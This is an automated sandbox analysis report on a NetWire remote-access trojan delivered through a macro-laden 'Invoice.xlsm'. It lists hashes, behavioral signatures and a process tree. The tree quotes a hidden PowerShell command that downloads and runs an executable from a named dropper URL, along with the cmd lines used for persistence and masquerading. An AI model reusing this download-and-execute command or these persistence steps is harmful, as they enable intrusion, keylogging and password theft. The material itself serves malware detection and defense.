netwire | ff4386a4ec4746d085fe2fa9cf974f39334fa3c64b27b2ab88468ea72c898fb2

General

Target

Invoice.xlsm
Size

399KB
MD5

f7b59e2d235fee9ba12ec42df07ce2b5
SHA1

587fa2772cd69bf5d136d9f459fd01a4db65e9ba
SHA256

ff4386a4ec4746d085fe2fa9cf974f39334fa3c64b27b2ab88468ea72c898fb2
SHA512

48344cc1b929d2a9cd3f5a713743c75b6591f0284ea8fae5f7995e49ddd5df4deba9a0070106f83751af835e61cce059097037c778b16153bcf9cb4de5206d9f

Score

10^/10

rat botnet stealer netwire

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://comawhimplet.com/nxxt.exe

Signatures

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
NTFS ADS 1 IoCs

Processes:

cmd.exe

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\FolderN\name.exe:Zone.Identifier cmd.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

112 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\FolderN\name.exe:Zone.Identifier	cmd.exe

pid	process
112	EXCEL.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EXCEL.EXEpowershell.exeputty.exe

description	pid	process	target process
PID 112 wrote to memory of 1520	112	EXCEL.EXE	powershell.exe
PID 112 wrote to memory of 1520	112	EXCEL.EXE	powershell.exe
PID 112 wrote to memory of 1520	112	EXCEL.EXE	powershell.exe
PID 1520 wrote to memory of 1916	1520	powershell.exe	putty.exe
PID 1520 wrote to memory of 1916	1520	powershell.exe	putty.exe
PID 1520 wrote to memory of 1916	1520	powershell.exe	putty.exe
PID 1520 wrote to memory of 1916	1520	powershell.exe	putty.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1956	1916	putty.exe	sdhost.exe
PID 1916 wrote to memory of 1632	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1632	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1632	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1632	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1640	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1640	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1640	1916	putty.exe	cmd.exe
PID 1916 wrote to memory of 1640	1916	putty.exe	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeputty.exe

pid process

1520 powershell.exe
1916 putty.exe
1916 putty.exe
Loads dropped DLL 1 IoCs

Processes:

putty.exe

pid process

1916 putty.exe
Office loads VBA resources, possible macro or embedded object present

pid	process
1520	powershell.exe
1916	putty.exe
1916	putty.exe

pid	process
1916	putty.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1520	112	powershell.exe	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeputty.exe

description pid process

Token: SeDebugPrivilege 1520 powershell.exe
Token: SeDebugPrivilege 1916 putty.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1520 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

putty.exe

description pid process target process

PID 1916 set thread context of 1956 1916 putty.exe sdhost.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

112 EXCEL.EXE
112 EXCEL.EXE
112 EXCEL.EXE
112 EXCEL.EXE
112 EXCEL.EXE
Drops startup file 1 IoCs

Processes:

putty.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.exe.lnk putty.exe
Executes dropped EXE 2 IoCs

Processes:

putty.exesdhost.exe

pid process

1916 putty.exe
1956 sdhost.exe

description	pid	process
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1916	putty.exe

flow	pid	process
4	1520	powershell.exe

description	pid	process	target process
PID 1916 set thread context of 1956	1916	putty.exe	sdhost.exe

pid	process
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.exe.lnk	putty.exe

pid	process
1916	putty.exe
1956	sdhost.exe

NetWire RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1956-13-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1956-16-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice.xlsm
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://comawhimplet.com/nxxt.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:1520

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetThreadContext
- Drops startup file
- Executes dropped EXE
PID:1916

C:\Users\Admin\AppData\Local\Temp\sdhost.exe
"C:\Users\Admin\AppData\Local\Temp\sdhost.exe"
4⤵
- Executes dropped EXE
PID:1956

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy "C:/Users/Admin/AppData/Local/Temp/putty.exe" "%temp%\FolderN\name.exe" /Y
4⤵
PID:1632

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
4⤵
- NTFS ADS
PID:1640

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\sdhost.exe

Download Submit
\Users\Admin\AppData\Local\Temp\sdhost.exe

Download Submit
memory/112-2-0x0000000005E60000-0x0000000005F60000-memory.dmp

Filesize
1024KB

Download
memory/112-5-0x0000000000304000-0x0000000000306000-memory.dmp

Filesize
8KB

Download
memory/112-1-0x0000000000285000-0x0000000000286000-memory.dmp

Filesize
4KB

Download
memory/1520-8-0x0000000000000000-mapping.dmp

Download
memory/1632-17-0x0000000000000000-mapping.dmp

Download
memory/1640-18-0x0000000000000000-mapping.dmp

Download
memory/1916-9-0x0000000000000000-mapping.dmp

Download
memory/1956-13-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1956-14-0x000000000040242D-mapping.dmp

Download
memory/1956-16-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads